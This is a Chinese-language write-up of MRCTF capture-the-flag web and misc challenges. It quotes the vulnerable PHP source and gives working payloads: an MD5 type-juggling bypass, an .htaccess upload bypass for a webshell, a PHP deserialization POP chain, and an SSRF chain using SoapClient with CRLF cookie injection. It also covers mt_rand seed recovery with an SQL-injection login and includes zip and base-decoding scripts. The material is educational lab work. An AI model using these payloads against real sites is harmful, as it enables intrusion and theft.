WEB 1.Ez_bypass 打开网页直接有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php include 'flag.php' ;$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ; if (isset ($_GET['gg' ])&&isset ($_GET['id' ])) { $id=$_GET['id' ]; $gg=$_GET['gg' ]; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step' ; if (isset ($_POST['passwd' ])) { $passwd=$_POST['passwd' ]; if (!is_numeric($passwd)) { if ($passwd==1234567 ) { echo 'Good Job!' ; highlight_file('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } ?>
第一层md5绕过可以用数组或者md5碰撞 ,第二层弱类型比较直接在1234567后面加个非数字字符就行
我这加了个空格(那个0可以无视了 -_-!)
2.PYWebsite 打开网站花里胡哨的,直接看源码
直接看flag.php页面
根据提示应该是改XFF头
3.你传你🐎呢 先上传.htaccess,文件内容: SetHandler application/x-httpd-php
接着上传马
这个马挂了代理才连上 吐了
4.Ezpop 直接有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Welcome to index.php <?php class Modifier { protected $var; public function append ($value) { include ($value); } public function __invoke () { $this ->append($this ->var); } } class Show { public $source; public $str; public function __construct ($file='index.php' ) { $this ->source = $file; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString () { return $this ->str->source; } public function __wakeup () { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p; public function __construct () { $this ->p = array (); } public function __get ($key) { $function = $this ->p; return $function(); } } if (isset ($_GET['pop' ])){ @unserialize($_GET['pop' ]); } else { $a=new Show; highlight_file(__FILE__ ); }
常见的魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 __construct (),类的构造函数,当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。__wakeup () __sleep () __destruct () __call () __callStatic () __get () __set () __isset () __unset () __toString () __invoke ()
__toString 触发的条件比较多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 (1 )echo ($obj) / print($obj) 打印时会触发 (2 )反序列化对象与字符串连接时 (3 )反序列化对象参与格式化字符串时 (4 )反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) (5 )反序列化对象参与格式化SQL语句,绑定参数时 (6 )反序列化对象在经过php字符串函数,如 strlen()、addslashes()时 (7 )在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用 (8 )反序列化的对象作为 class_exists() 的参数的时候
关键在Modifier
类,如果$var为伪协议那么可读flag.php。要触发Modifier的 __invoke()
就必须触发Test的__get()
,要触发Test的__get()
就必须访问Test中一个不能访问的类成员
。而在Show
中的__toSting
方法$this->str->source
明显是不能访问的。所以构造如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Modifier { protected $var= "php://filter/read=convert.base64-encode/resource=flag.php" ; } class Show { public $source; public $str; } class Test { public $p; } $a=new Show(); $a->source = new Show(); $a->source->str =new Test(); $a->source->str->p=new Modifier(); $b=serialize($a); echo (urlencode($b));
5.套娃 第一层
这里第一个主要是匹配了_
,因为$_SERVER[‘QUERY_STRING’]不会urldecode所以一般套路是可以URL编码,但是本题目ban掉了_
的编码值%5f
绕过方法:
%5F
b.u.p.t(点代替_)
b u p t(空格代替_)
第二个用换行符%0a绕过
访问secrettw.php没啥特别的就抓包看了下
放到控制台跑了一下
有了提示就好办,但要注意因为之前是抓的GET包所以headers要加上content-type这个字段或者直接用Hackbar
1 2 3 4 5 6 get请求的headers中没有content-type 这个字段,post 的 content-type 有两种 : application/x-www-form -urlencoded 这种就是一般的文本表单 multipart/form -data 文件表单的传输
POST Merak后会有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Flag is here~But how to get it? <?php error_reporting(0 ); include 'takeip.php' ;ini_set('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST['Merak' ])){ highlight_file(__FILE__ ); die (); } function change ($v) { $v = base64_decode($v); $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!' ."<br/>" ;$ip = getIp(); if ($ip!='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip;if ($ip === '127.0.0.1' && file_get_contents($_GET['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change($_GET['file' ]);echo file_get_contents(change($_GET['file' ])); }?>
$ip是通过getIp()获取IP但具体不知道通过什么判断的只能猜了
1.Client-IP
2.X-Forwarded-For
3.X-Real-IP
对于file_get_contents可以利用data://
伪协议绕过或者php://input
绕过
change
改变了我们传入的file参数,所以传入前先加密file
1 2 3 4 5 6 7 8 9 10 11 <?php function dechage ($v) { $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } return base64_encode($re); } $a="flag.php" ; print (unchage($a));
6.Ezaudit 直接扫目录,发现源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php header('Content-type:text/html; charset=utf-8' ); error_reporting(0 ); if (isset ($_POST['login' ])){ $username = $_POST['username' ]; $password = $_POST['password' ]; $Private_key = $_POST['Private_key' ]; if (($username == '' ) || ($password == '' ) ||($Private_key == '' )) { header('refresh:2; url=login.html' ); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else if ($Private_key != '*************' ) { header('refresh:2; url=login.html' ); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else { if ($Private_key === '************' ){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'" .';' ; $link=mysql_connect("localhost" ,"root" ,"root" ); mysql_select_db("test" ,$link); $result = mysql_query($getuser); while ($row=mysql_fetch_assoc($result)){ echo "<tr><td>" .$row["username" ]."</td><td>" .$row["flag" ]."</td><td>" ; } } } } function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0 , strlen($strings1) - 1 ), 1 ); return $public_key; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0 , strlen($strings2) - 1 ), 1 ); return $private_key; } $Public_key = public_key();
这里主要是要比较这个私钥,题目给了公钥,可以发现他们都是mt_rand()
生成的。所以只要用公钥去还原种子,然后再手工算出私钥即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h> #include <string.h> int main () { char *str1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ; char *str2 = "KVQP0LdJKRaV3n9D" ; for (int i = 0 ; i < strlen (str2) ; i++) { for (int j = 0 ; j < strlen (str1) ; j++) { if ( str2[i] == str1[j] ) { printf ("%d %d 0 %d " , j, j, strlen (str1)-1 ); break ; } } } return 0 ; }
结果
1 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
用php_mt_seed跑出种子为 1775196155
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php mt_srand(1775196155 ); function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0 , strlen($strings1) - 1 ), 1 ); return $public_key; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0 , strlen($strings2) - 1 ), 1 ); return $private_key; } $Public_key = public_key(); $private_key = private_key(); echo $Public_key . "\n" ;echo $private_key;
得到私钥 XuNhoueCDCGc
这里需要注意的是php版本大版本要和题目环境相同,不然得出的私钥是不一样的
最后通过万能密码拿到flag
7.Ezpop_Revenge 没写出来,复现学习一下
还是www.zip
源码泄露
flag.php暗示应该要SSRF
1 2 3 4 5 6 <?php if (!isset ($_SESSION)) session_start();if ($_SERVER['REMOTE_ADDR' ]==="127.0.0.1" ){ $_SESSION['flag' ]= "MRCTF{******}" ; }else echo "我扌your problem?\nonly localhost can get flag!" ; ?>
接着找反序列的位置
Plugin.php
中关键的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class HelloWorld_DB { private $flag="MRCTF{this_is_a_fake_flag}" ; private $coincidence; function __wakeup () { $db = new Typecho_Db($this ->coincidence['hello' ], $this ->coincidence['world' ]); } } class HelloWorld_Plugin implements Typecho_Plugin_Interface { public function action () { if (!isset ($_SESSION)) session_start(); if (isset ($_REQUEST['admin' ])) var_dump($_SESSION); if (isset ($_POST['C0incid3nc3' ])) { if (preg_match("/file|assert|eval|[`\'~^?<>$%]+/i" ,base64_decode($_POST['C0incid3nc3' ])) === 0 ) unserialize(base64_decode($_POST['C0incid3nc3' ])); else { echo "Not that easy." ; }
反序列化会触发 __wakeup()
并实例化 Typecho_Db
类,跟进/var/Typecho/Db.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Typecho_Db { public function __construct ($adapterName, $prefix = 'typecho_' ) { $this ->_adapterName = $adapterName; $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array ($adapterName, 'isAvailable' ))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available" ); } $this ->_prefix = $prefix; $this ->_pool = array (); $this ->_connectedPool = array (); $this ->_config = array (); $this ->_adapter = new $adapterName(); }
也提示了 __toString()
方法,接着搜
在 /var/Typecho/Db/Query.php
中__toString
可被利用
关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php class Typecho_Db_Query { const KEYWORDS = '*PRIMARY|AND|OR|LIKE|BINARY|BY|DISTINCT|AS|IN|IS|NULL' ; private static $_default = array ( 'action' => NULL , 'table' => NULL , 'fields' => '*' , 'join' => array (), 'where' => NULL , 'limit' => NULL , 'offset' => NULL , 'order' => NULL , 'group' => NULL , 'having' => NULL , 'rows' => array (), ); private $_adapter; private $_sqlPreBuild; public function __construct (Typecho_Db_Adapter $adapter, $prefix) { $this ->_adapter = &$adapter; $this ->_prefix = $prefix; $this ->_sqlPreBuild = self ::$_default; } public function __toString () { switch ($this ->_sqlPreBuild['action' ]) { case Typecho_Db::SELECT: return $this ->_adapter->parseSelect($this ->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this ->_sqlPreBuild['table' ] . '(' . implode(' , ' , array_keys($this ->_sqlPreBuild['rows' ])) . ')' . ' VALUES ' . '(' . implode(' , ' , array_values($this ->_sqlPreBuild['rows' ])) . ')' . $this ->_sqlPreBuild['limit' ]; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this ->_sqlPreBuild['table' ] . $this ->_sqlPreBuild['where' ]; case Typecho_Db::UPDATE: $columns = array (); if (isset ($this ->_sqlPreBuild['rows' ])) { foreach ($this ->_sqlPreBuild['rows' ] as $key => $val) { $columns[] = "$key = $val" ; } } return 'UPDATE ' . $this ->_sqlPreBuild['table' ] . ' SET ' . implode(' , ' , $columns) . $this ->_sqlPreBuild['where' ]; default : return NULL ; } } }
假设$this->_sqlPreBuild['action']
为SELECT,在__toString()
方法内就会返回$this->_adapter->parseSelect($this->_sqlPreBuild)
,调用了$this->_adapter
的parseSelect()
方法。
POP链逻辑:
反序列化HelloWorld_DB
,就触发了__wakeup()
方法,在__wakeup()
内实例化Typecho_Db
并以$this->coincidence['hello']
作为Typecho_Db
的__construct()
方法的第一个参数;
PHP的数组是可以存对象,假设$this->coincidence['hello']
实例化Typecho_Db_Query
对象,在Typecho_Db
的构造方法中将其作为字符串,就触发了Typecho_Db_Query
的__toString()
方法;
在__toString()
内,如果$_sqlPreBuild['action']
为'SELECT'
就会触发$_adapter
的parseSelect()
方法;
将$_adapter
实例化为SoapClient
,调用parseSelect()
是不存在的方法,触发了SoapClient
的__call()
魔术方法
__call()
是实现SSRF的关键
1 public SoapClient::__call ( string $function_name , array $arguments )
接着找插件在哪里调用了
/var/Typecho/Plugin.php
中有条路由
访问 /page_admin
即可启用插件
想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF。SoapClient可以设置UA,只要在UA后加上\r\nCookie: PHPSESSID=xxx
就能为http头添加一个新的Cookie字段,这样就能带上session了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class Typecho_Db_Query { private $_adapter; private $_sqlPreBuild; public function __construct () { $target = "http://127.0.0.1/flag.php" ; $headers = array ( 'X-Forwarded-For: 127.0.0.1' , "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rw3" ); $this ->_adapter = new SoapClient(null , array ('uri' => 'hello' , 'location' => $target, 'user_agent' => 'test^^' . join('^^' , $headers))); $this ->_sqlPreBuild = ['action' => "SELECT" ]; } } class HelloWorld_DB { private $coincidence; public function __construct () { $this ->coincidence = array ("hello" => new Typecho_Db_Query()); } } $o = serialize(new HelloWorld_DB()); $o = preg_replace(" /\^\^/" , "\r\n" , $o); $r = base64_encode($o); echo $r;
POST提交payload
注意将PHPSESSID改成脚本中的值,GET提交admin=1打印flag
8.So Web Application 这道题很懵。
MISC 1.千层套路 给了个压缩包,包名就是解压密码,有很多层。。。
直接脚本跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import zipfilenext_file = "" if __name__ == '__main__' : file = "0573.zip" zf = zipfile.ZipFile(file) a = zf.namelist() next_file = a[0 ] try : password = file.replace(".zip" , "" ) zf.extractall(pwd=password) except RuntimeError as e: print(e) zf.close() for i in range(1000 ): zf = zipfile.ZipFile(next_file) a = zf.namelist() try : password = next_file.replace(".zip" , "" ) zf.extractall(pwd=password) except RuntimeError as e: print(e) next_file = a[0 ] print (next_file)
得到qt.txt, 40000个像素点,也是脚本还原
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from skimage import ioimport matplotlib.pyplot as pltimport numpy as npimg = np.zeros((200 ,200 )) print(img) with open('qr.txt' ,'r' ) as f: data = f.readlines() for i in range(200 ): for j in range(200 ): if data[i*200 +j] == "(255, 255, 255)\n" : img[i][j] = 255 else : img[i][j] = 0 plt.imshow(img,cmap='gray' ) plt.show() plt.close()
2.寻找xxx
把得到的数字 18684221609
发公众号
3.Hello_ misc 解压后是一张图片,图片最上面只有红绿两种颜色。和一个flag.rar 密码压缩包
用foremost从图片中提取到一个带密码的压缩包。
把图片的红色区域裁剪出来 img.png
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from skimage import ioimport numpy as npimport reimport structimg = io.imread('img.png' ) x = img.shape[0 ] y = img.shape[1 ] ret = np.zeros((x,y)) c='' for i in range(x): for j in range(y): if (img[i,j,0 ]) == 255 : c +='1' else : c += '0' b = re.findall(r'.{8}' ,c) d = [] for i in b: d.append(int(i, 2 )) with open('out.png' ,'wb' ) as f: for i in d: t = struct.pack('B' ,i) f.write(t)
得到out.txt
里面只有 127 255 63 191
这四个数字
猜测为 00 01 10 11
的组合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from itertools import permutationsimport redef permute (nums) : result = [] for i in permutations(nums, len(nums)): result.append(list(i)) return result bin_list = ['00' , '01' , '10' ,'11' ] bin_list=permute(bin_list) with open('out.txt' ,'r' ) as f: ret = f.readlines() p = [] for i in ret: p.append(int(i)) out=[] for i in bin_list: s = '' for j in p: if j == 63 : a = i[0 ] elif j == 127 : a = i[1 ] elif j == 191 : a = i[2 ] elif j == 255 : a = i[3 ] s += a out.append(s) for i in out: d = re.findall(r'.{8}' ,i) o = '' for j in d: o += chr(int(j, 2 )) print(o)
得到flag.rar解压密码
解压发现
所以改后缀为docx
里面是空的 ,似曾相识?
直接全选,改字体颜色
1 2 3 4 5 6 MTEwMTEwMTExMTExMTEwMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTEwMDAwMDAxMTExMTExMTExMDAxMTAx MTEwMTEwMTEwMDAxMTAxMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTExMTExMTExMTExMTEwMTEwMDEx MTEwMDAwMTAxMTEwMTExMDExMTEwMTExMTExMTAwMDExMTExMTExMTExMDAxMDAxMTAxMTEwMDAwMDExMTExMDAwMDExMTExMTEx MTEwMTEwMTAwMDAxMTExMDExMTEwMTExMTExMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTExMTExMTAwMTEwMTExMTExMTExMTEx MTEwMTEwMTAxMTExMTExMDExMTEwMTExMTAxMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTAxMTExMTAwMTEwMTExMTExMTExMTEx MTEwMTEwMTAwMDAxMTAwMDAwMTEwMDAwMDAxMTAwMDExMTAwMDAwMTEwMTEwMTEwMTAxMTEwMDAwMDAxMTExMDAwMDExMTExMTEx
看起来像base64隐写,但之前用的脚本打印出来全是不可见字符,所以找了个新脚本
4.pyFlag 题目给了三张图片,放到winhex下,可以发现尾部分别有一个部分,将它们组合在一起,可以得到,一个zip。
然后爆破压缩包密码是1234
得到密文
1 G&eOhGcq(ZG(t2 * H8M3dG&wXiGcq (ZG&wXyG (j ~tG &eOdGcq +aG (t5oG (j ~qG &eIeGcq +aG ) 6 Q<G(j ~rG &eOdH9 <5qG&eLvG (j ~sG &nRdH9 <8rG%++ qG %__eG &eIeGc +|cG (t5oG (j ~sG &eOlH9 <8rH8C_qH9<8oG&eOhGc +_bG &eLvH9 <8sG&eLgGcz ?cG &3|sH8M3cG &eOtG %_ ?aG (t5oG (j ~tG &wXxGcq +aH8V6sH9 <8rG&eOhH9 <5qG(<E-H8M3eG&wXiGcq (ZG) 6 Q<G(j ~tG &eOtG %+<aG &wagG %__cG &eIeGcq +aG &M9uH8V6cG&eOlH9 <8rG(<HrG(j ~qG &eLcH9 <8sG&wUwGek2 )
hint
1 2 3 我用各种baseXX编码把flag套娃加密了,你应该也有看出来。 但我只用了一些常用的base编码哦,毕竟我的智力水平你也知道...像什么base36base58听都没听过 提示:0x10 ,0x20 ,0x30 ,0x55
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import base64import refrom urllib import parsea = "G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)" a = base64.b85decode(a) print(a) c = re.findall(r'.{2}' ,a.decode()) s = '' for i in c: s += '%' +i print(s) s = parse.unquote(s) print(s) s = base64.b32decode(s) print(s) s = base64.b16decode(s.decode()) print(s) print(base64.b64decode(s))
5.Unravel! JM.PNG,可以binwalk 一张图片,内容为:Tokyo
look_at_the_file_ending.wav文件尾部有一串aes U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=
解开是 CCGandGulu
是压缩包的密码
利用silenteye解密
参考文章 n